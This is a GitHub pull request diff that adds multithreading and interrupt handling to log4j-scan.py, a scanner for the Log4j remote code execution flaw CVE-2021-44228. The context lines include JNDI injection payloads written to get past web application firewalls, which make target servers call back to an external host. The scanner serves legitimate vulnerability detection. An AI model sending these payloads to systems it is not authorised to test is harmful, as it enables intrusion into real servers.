Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

implements threads and more #54

Open
wants to merge 4 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
111 changes: 100 additions & 11 deletions log4j-scan.py
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,10 @@
import base64
import json
import random
import signal
import requests
import queue
import threading
from uuid import uuid4
from base64 import b64encode
from Crypto.Cipher import AES, PKCS1_OAEP
Expand All @@ -32,7 +36,6 @@
except Exception:
pass


cprint('[•] CVE-2021-44228 - Apache Log4j RCE Scanner', "green")
cprint('[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.', "yellow")
cprint('[•] Secure your External Attack Surface with FullHunt.io.', "yellow")
Expand All @@ -41,15 +44,17 @@
print('\n%s -h for help.' % (sys.argv[0]))
exit(0)


exitFlag = 0
queueLock = threading.Lock()
workQueue = queue.Queue()
threads = []
default_headers = {
'User-Agent': 'log4j-scan (https://github.com/mazen160/log4j-scan)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36',
'Accept': '*/*' # not being tested to allow passing through checks on Accept header in older web-servers
}
post_data_parameters = ["username", "user", "email", "email_address", "password"]
timeout = 4

waf_bypass_payloads = ["${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{{callback_host}}/{{random}}}",
"${${::-j}ndi:rmi://{{callback_host}}/{{random}}}",
"${jndi:rmi://{{callback_host}}}",
Expand Down Expand Up @@ -109,9 +114,70 @@
dest="custom_dns_callback_host",
help="Custom DNS Callback Host.",
action='store')
parser.add_argument("-t", "--threads",
dest="threads",
help="Threads number - [Default: 1].",
default=1,
type=int,
action='store')


args = parser.parse_args()

############################################
############### Ctrl + C ###################
############################################

def keyboardInterruptHandler(signal, frame):
global exitFlag
global timeout
cprint('[•] Operation was canceled by user !!!', "red")
while True:
resp = input("[•] Do you want to wait active threads to bring their results? [y/N]").lower()
if resp == 'n' or resp == '':
exit()
elif resp == 'y':
timeout = 0.1
exitFlag = 1
cprint('[•] Waiting for active threads to finish...', "red")
break

signal.signal(signal.SIGINT, keyboardInterruptHandler)

############################################
################ Threads ###################
############################################

class thread_request (threading.Thread):

def __init__(self, threadID, q, dns_callback_host, *args, **kwargs):
threading.Thread.__init__(self)
self.threadID = threadID
self.q = q
self.dns_callback_host = dns_callback_host

def run(self):

cprint ("[•] Starting thread %s ... " % (self.threadID))
process_request(self.threadID, self.q, self.dns_callback_host)
cprint ("[•] Exiting thread %s." % (self.threadID))

def process_request(threadID, q, dns_callback_host):
global exitFlag
global queueLock
while not exitFlag:
queueLock.acquire()
if not workQueue.empty():
url = q.get()
queueLock.release()
scan_url(url, dns_callback_host)

else:
queueLock.release()

############################################
################ Exploit ###################
############################################

proxies = {}
if args.proxy:
Expand Down Expand Up @@ -298,6 +364,9 @@ def scan_url(url, callback_host):


def main():
global exitFlag
global workQueue

urls = []
if args.url:
urls.append(args.url)
Expand All @@ -324,9 +393,34 @@ def main():
dns_callback_host = dns_callback.domain

cprint("[%] Checking for Log4j RCE CVE-2021-44228.", "magenta")

workQueue = queue.Queue(len(urls))

# Fill the queue
queueLock.acquire()
for url in urls:
cprint(f"[•] URL: {url}", "magenta")
scan_url(url, dns_callback_host)
workQueue.put(url)
#cprint(f"[•] URL: {url}", "magenta")
queueLock.release()

# Create new threads
for t in range(1,args.threads+1):
thread = thread_request(t, workQueue, dns_callback_host)
thread.daemon = True
thread.start()
threads.append(thread)

# Wait for queue to empty
while not workQueue.empty() and exitFlag == 0:
time.sleep(1)
pass

# Notify threads it's time to exit
exitFlag = 1

# Wait for all threads to complete
for t in threads:
t.join()

if args.custom_dns_callback_host:
cprint("[•] Payloads sent to all URLs. Custom DNS Callback host is provided, please check your logs to verify the existence of the vulnerability. Exiting.", "cyan")
Expand All @@ -345,9 +439,4 @@ def main():


if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\nKeyboardInterrupt Detected.")
print("Exiting...")
exit(0)
main()